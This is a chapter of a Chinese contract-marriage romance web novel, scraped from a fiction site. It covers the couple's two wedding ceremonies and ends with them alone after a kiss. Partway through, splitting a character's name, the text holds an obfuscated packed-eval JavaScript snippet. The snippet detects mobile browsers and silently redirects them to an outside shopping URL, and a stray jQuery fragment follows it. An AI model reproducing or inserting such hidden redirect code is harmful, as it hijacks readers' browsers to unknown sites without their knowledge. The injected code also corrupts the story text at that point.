文趣网 > 都市小说 > 低空热恋 > 23. 第 23 章
    仪式结束。

    苏若婉和亲友拍了些照片后,在许思妍的陪同下回休息室换装。

    两人走的是另一侧阶梯,沿途经过几间VIP休息室。其中一间门半掩着,里面传出几道压低的女声。

    “刚刚那个吻,看见了吗?”

    “看见了,就碰了一下。”

    “下台时挽着是挽着,但中间都能塞下一个我。”

    “我就说嘛,联姻而已,哪有什么感情。”

    许思妍抬脚就要冲进去。

    苏若婉立刻拉住她,继续往休息室走。

    进门后,她才问:“很明显吗?”

    许思妍想了想,也没哄她:“她们说得夸张,但确实不算亲密。”

    苏若婉没说话。

    刚才被仪式堆起来的那点柔软情绪,慢慢淡了下去。

    楼下。

    祁宗言正陪着苏父和白女士,与亲戚寒暄敬酒。

    苏若婉换完妆造,神色如常地走下侧梯。

    现场宾客的目光一齐聚过来,赞叹声此起彼伏。

    苏父和祁宗言听到动静,同时转头。

    苏若婉没换衣服,只是把婚纱的披肩及拖尾拆掉,露出本身芭蕾舞裙款式的礼服。

    盘发也改成了蓬松慵懒的侧麻花辫。

    她站在灯下,颈线修长,肩背挺直,像一只优雅的白天鹅。

    腿上那双前后拼接的网状丝袜,又为她添了几分若有若无的性感。

    小腿后侧那段蕾丝刺绣与脚上的蕾丝高跟鞋连成一体。点缀其间的钻石泛着细碎的光,随步伐移动。

    祁宗言眼底亮了一瞬,随即压深。

    苏父侧过头压低声音,语气里带着掩不住的骄傲:“囡囡从小学芭蕾,气质好伐?”

    祁宗言应了一声,视线再没移开。

    苏若婉走近,轻轻拉了一下他的衣袖,“过来一下。”

    两人往一旁的廊下走去。

    身后朋友那桌,Lily忍不住哀嚎。

    “我这婚礼还怎么办,我选的婚纱还怎么穿?”

    “哎哟。”许思妍笑了,“除了我们,宾客大部分都不是同一批人,怕什么啦。”

    Linda叹气:“我这身材,也穿不上啊。”

    一桌人都笑起来。

    乔安弯了弯唇,难得开口:“各有各的风格。”

    赵文胤端着酒,像是串门似的晃过来,刚好接上一句:“新娘子太漂亮,各位有压力很正常。”

    他要不是姓赵,估计得挨揍。

    另一边。

    苏若婉抱着手臂站在廊下,脸色已经冷下来。

    “祁宗言。”她毫不客气,“你的戏也太差了。”

    祁宗言目光从她笔直修长的腿移到她脸上,“哪儿不满意?”

    苏若婉声音压低,明显带着火气:“你离得那么远,是生怕别人看不出来?”

    祁宗言听完,嘴角轻轻一勾,抬手直接把人揽到怀里,“那这样?”

    苏若婉猝不及防贴上去,脸色更不好看了。她攥拳捶了他一下,“太近了,松开一点。”

    “刚才远了不高兴。”祁宗言不紧不慢说:“现在近了也不行。”

    他低头看她,“苏小姐,有点难伺候。”

    苏若婉被他一句话气得心火直冒,“那你就别伺候。”

    祁宗言没接这句,反而扣住她的腰,带着人往前走:“补回来。”

    苏若婉一愣,回过神来咬着牙低声道:“你就这么没有合约精神?”

    祁宗言停了脚步,“苏小姐穿了这么久的高跟鞋,不累吗?”

    他手臂收紧,两人之间贴得严丝合缝,“靠着我,省点力气。”

    苏若婉没法当众挣开,只能抬手在他后腰狠狠拧了一把。

    祁宗言面不改色,带着她继续随苏父、白女士与亲朋好友敬酒。

    所到之处,宾客无不感叹。

    “真般配。”

    “小两口感情很好啊。”

    “祁先生这一路都没松过手。”

    “看着冷,疼人倒是真的。”

    苏父和白女士笑得合不拢嘴。

    苏聿看着这一幕,低声笑:“宗言还是有点本事个呀。”

    宋佳怡也笑:“真真看勿出,认得才三个月。”

    按照苏若婉的安排,祁家那边婚礼就定在次日,她不想把时间线拉得太长。

    京城那一场宾客复杂,既有政商往来,也有裴昭宁海外娘家的大批亲属。

    此刻正是接待与统筹最繁忙的时候。

    这边婚宴持续到午后两点才结束,秦思带着团队立刻启程回京。

    晚上,苏家远道而来的亲友简单聚了一下。

    因为明天一早要动身,席间没人贪杯,九点多就散了。

    回到老宅,苏若婉在宋佳怡的帮忙下,卸妆沐浴换了套舒适的居家服。

    众人在偏厅商议明天行程。

    她本就喝了酒,又一整天情绪起伏,坐下没多久就靠在祁宗言肩上睡了过去。

    厅里的说话声渐渐止住。

    祁宗言低声道:“我先送她回房间。”

    他将人打横抱起,稳步走出偏厅,乘坐电梯上到三楼。

    房间里还残留着浓郁的花香,红色的床品带着喜气,仿佛早晨的热闹还没散。

    祁宗言将她放到床上,盖好被子。

    他坐在床边,看着她睡着安静的模样。

    白天的冷傲被睡意化开,眉眼都软了下来。

    月光从窗户漫进来,在地面洒下一片皎洁。

    祁宗言俯身在她额头上落下很轻的一吻,便起身离开了房间。

    回到偏厅,祁宗言向众人道别。

    “明早九点半,我来接大家去机场。”他看向丽姨,“不用准备,饮水和餐食已经安排好了。”

    等人离开,白女士轻轻叹了口气,“囡囡眼光还是蛮好的。”

    “姆妈,当初侬不是讲过个伐?”苏聿笑着打趣,学着当初白女士的手势,竖起大拇指和小拇指:“伊比囡囡大六岁,人又冷清清,勿大会疼人。”

    白女士嗔了他一眼,“小赤佬,又拿姆妈开玩笑。”

    偏厅里顿时笑成一片。

    而正在睡梦中的苏若婉,唇角微微弯着,像是做了一个不错的梦。

    次日早晨,苏若婉神采奕奕地踏上祁宗言的私人飞机。

    离落地还有一小时,Ken已经在后舱将她的造型全部完成。

    许思妍坐在一旁都看傻眼了。

    她从来没见过这样的苏若婉。

    头戴一顶金制凤冠,金丝层层叠起,搭出立体的冠形。

    下层铺满大小错落的珠花,花心嵌着红蓝宝石,周围环绕点翠云纹与叶饰。

    中层是数只展翅的翠凤。

    冠顶正中的金凤口衔一枚十克拉无烧克什米尔皇家蓝蓝宝石,两侧凤首则口衔南洋白珠串饰垂至两颊,随着动作轻轻晃动。

    明制大衫外袍,底色是青蓝织金缎,衣摆及地。走动时正红色里襟与系带一闪而过。

    肩披两条翟纹锦缎霞帔,下端垂至身前相连,底部挂着一枚钑花金坠。

    “阿婉,你这是要做啥啦。”许思妍回过神举起手机一通连拍,“我们还怎么站在你边上啦。”

    乔安也被震住了,反应慢了一拍。

    “阿婉……”她轻轻吸了口气,眼底满是惊艳,“美得太过分了。”

    苏若婉微微偏过头,看向陆君泽。

    “好看。”他眼底带着笑意,“今天依旧是你的主场。”

    苏若婉弯起红唇,转身走到前舱。

    苏老爷子看见她,慢慢站起身,从上到下打量了一遍,最后目光停在凤冠上。

    “好。”

    白女士走到她身前,怔怔地抬起手,想碰又没碰,声音很轻:“怎么……这么好看。”

    苏父神色微变,“这套,是祁家准备的?”

    白女士点了点头,转头看向苏老爷子:“爸,我听昭宁说,这套是按她们祖上留下的规制做的,还有明朝公爵那一脉传下来的物件。”

    苏老爷子重新坐下,笑着指了指那枚钑花金坠,“这个。”

    苏若婉低头盯着那个金坠,只觉得沉甸甸的。

    苏父缓声道:“祁家这样,我们放心了。”

    四架私人飞机先后落地,在指定位置停稳后同时打开舱门。

    停机坪上,黑色迈巴赫S680领头,后方数辆A8依次排开,两侧停着几辆迈莎锐MPV。

    放眼望去,没有一块车牌是寻常号码。

    不远处的地勤人员有人刚要拿出手机,便被同伴低声拦住:“别拍。”

    祁宗言带着赵文胤和另一位朋友率先从第一架飞机下来。

    苏聿、宋佳怡分别领着亲友从后面两架陆续下机。

    祁宗言站在第二架飞机的舷梯旁等候。

    苏父和白女士扶着苏老爷子慢慢走下来,他简单打过招呼后登机走向后舱。

    苏若婉坐在那里,双手藏在袖中叠在身前,带着笑意抬眼看他。

    祁宗言见过不少人靠衣饰撑气场。可眼前这身华服,偏偏被她压住了。

    他走过去在她面前停下,声音有些沉:“走吧。”

    苏若

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605664|204658||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    婉微微一怔,原本以为他会说点什么。

    祁宗言伸手将她抱起来,“回家。”

    车队行驶一段后,离开主干道拐入一条限行路段。

    前方出现一处岗亭,车队直接驶入。

    祁家在此处建了一座合院。

    院落层层铺开,几处独立的院子视线并不互通,由回廊串联,各自成局。

    车队缓缓驶入最外一进院子的停车区,依次停稳。

    祁衡和裴昭宁带着两家亲友站在院门前迎接。

    除了婚车,其余车上的人陆续下车,简单寒暄后分列在入口两侧。

    外院的气氛一下子热起来。

    祁宗言拉开后座车门,刚把人扶下车,礼炮声忽然响起。

    小孩们一人拎着一个缎面小袋,从里面抓起一把金箔纸往空中一撒,碎金在阳光里纷纷落下。

    “大嫂。”祁宗煜站在最前面,看见苏若婉愣了愣,随即夸张地拱手行礼,“皇后娘娘万福金安。”

    裴昭宁笑着上前拉起苏若婉的手,她的目光从凤冠落到霞帔,眼底的喜色一点点漫开:“我儿子有福气。”

    亲友被引向各自院落,笑声与寒暄渐渐散开。

    祁衡走到苏老爷子面前,语气沉稳:“苏老,辛苦了。里面请。”

    苏父与白女士扶着苏老爷子往里走,苏聿、宋佳怡随行。

    秦思带着苏若婉去了内侧厢房。

    没过多久,祁宗言敲门进来。

    他换了一身玄青色中式礼服,在光下缎面折出若隐若现的金影。收紧的立领衬得下颌线愈发硬朗,斜襟上一颗白玉盘扣压在胸口,更显沉稳。

    “祁先生,气度不凡啊。”苏若婉打趣:“比平时那死板的西装好看多了。”

    秦思站在一旁捂嘴笑。

    祁宗言挑了挑眉,走近一步俯身抬手:“苏小姐能否赏光,陪我一同去奉茶?”

    苏若婉扬起下巴,手搭上去,起身跟着他出了门。

    奉茶之后,她换了身中式高定礼服,和祁宗言站在内院门口等候。

    不多时,祁衡和裴昭宁引着一行老人走过来。

    这些人年纪虽长,精神却很好,走近时自有一股压得住场的气势。

    秦思在她耳边低声报出每一位的身份,苏若婉听着,唇角始终维持着得体的笑意。

    基本都是祁老爷子和苏老爷子当年的旧部。

    他们被引入内院席位,几句寒暄之后,目光都落向一对新人,夸赞随之而来。

    苏若婉一一应下,礼数得体。

    短暂停顿后,他们移步到中庭。

    五分钟后抵达的宾客,苏若婉不用秦思介绍,已经知道分量。

    平时只有在新闻报道中出现的这些人,让她挽着祁宗言臂弯的手微微收紧。

    祁宗言侧头看着她,抬手轻轻在她手背按了一下。她抬眼看去,他神色自若,好像这些场面对他而言只是日常。

    她忽然想起苏聿曾经说过的话,也第一次真正意识到,祁宗言不是单纯背景深厚的商人。

    他站着的地方,本就是她从前很少踏入的世界。

    最后落座外院席位的,则是祁宗言体系内分布各地的核心人物。

    这些人要说出来,也是各行各业难得一见的人物。

    但苏若婉反而松了口气,神色从容地站在祁宗言身侧,坦然接受所有的祝贺。

    这天从早到晚,直到回了祁家大院,苏若婉神经才彻底松了下来。

    她在东楼自己房间里泡了个澡,慢悠悠抿了杯香槟。

    换好睡裙她靠坐在床头,这两天的片段在眼前一幕幕浮现。

    地暖烘得她心口发燥。

    她下床走到房门前,手搭在门把手上时,警报声在脑海里响起,可她还是压了下去,拉开房门。

    祁宗言穿着浴袍斜靠在对面墙边。

    他抬眼看过来,眸色漆黑。

    苏若婉脑子突然一片空白,喉咙发紧。

    什么时候香槟的度数这么高了。

    “我可能喝多了。”她往前走了一步,停在他面前,“胆子有点大。”

    祁宗言没动,声音压得很低:“想清楚了?”

    她抬眼看他,手指勾住他浴袍的系带,红唇轻弯:“今晚不用保持距离。”

    祁宗言眼底暗色翻涌。

    他伸手将她带到身前,扣住她的腰低头吻了下来。

    舌尖从她齿间挤进去的时候,苏若婉手臂环上了他脖子,整个人软在他怀里。

    祁宗言直接将人抱起,进了房间。

    “咔嗒”一声。

    门在身后轻轻合上。